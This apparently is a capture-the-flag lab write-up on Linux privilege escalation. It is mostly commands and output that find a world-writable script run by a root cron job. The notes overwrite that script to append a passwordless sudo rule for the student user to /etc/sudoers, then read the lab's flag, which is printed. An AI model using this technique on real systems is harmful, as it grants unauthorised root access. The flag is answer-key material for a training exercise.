Skip to content

Latest commit

 

History

History
115 lines (81 loc) · 2.26 KB

cron.md

File metadata and controls

115 lines (81 loc) · 2.26 KB

🔬Cron Jobs

Lab 1

🔬 Cron Jobs Gone Wild II

  • Cron Jobs Privilege escalation
  • Already logged on as student unprivileged user
whoami
groups student
cat /etc/passwd
crontab -l

📌 student user has no privileges and no scheduled cron jobs

ls -l
	-rw------- 1 root root 26 Sep 23  2018 message
# "message" file has root permissions

Cron Jobs Identify

  • Look for all occurences of the path or the file, on the system
find / -name message
    /home/student/message
	find: '/var/lib/apt/lists/partial': Permission denied
    [...]
    /tmp/message
grep -rnw /usr -e "/home/student/message"
	/usr/local/share/copy.sh:2:cp /home/student/message /tmp/message
  • The file has been copied into the /tmp directory
cat /tmp/message
	Hey!! you are not root :(
  • Check copy.sh privileges
ls -al /usr/local/share/copy.sh
	-rwxrwxrwx 1 root root 74 Sep 23  2018 /usr/local/share/copy.sh
	
cat /usr/local/share/copy.sh
    #! /bin/bash
    cp /home/student/message /tmp/message
    chmod 644 /tmp/message

Privesc

  • Every user account has read/write/execute permissions on the copy.sh script
  • The script is writable by the student user. Modify the script to execute a command (e.g. adding student to sudoers file).
    • When the script is executed by root cron job (every 1 min for this lab), it will run commands with pivileged permissions
    • No text editors available in the lab
printf '#!/bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh

cat /usr/local/share/copy.sh
    #!/bin/bash
    echo "student ALL=NOPASSWD:ALL" >> /etc/sudoers
sudo -l

    User student may run the following commands on attackdefense:
        (root) NOPASSWD: /etc/init.d/cron
        (root) NOPASSWD: ALL

sudo -l

sudo su
whoami
	root
cd /root
cat flag
crontab -l
	*/01 * * * * sh /usr/local/share/copy.sh *
Reveal Flag: 🚩

697914df7a07bb9b718c8ed258150164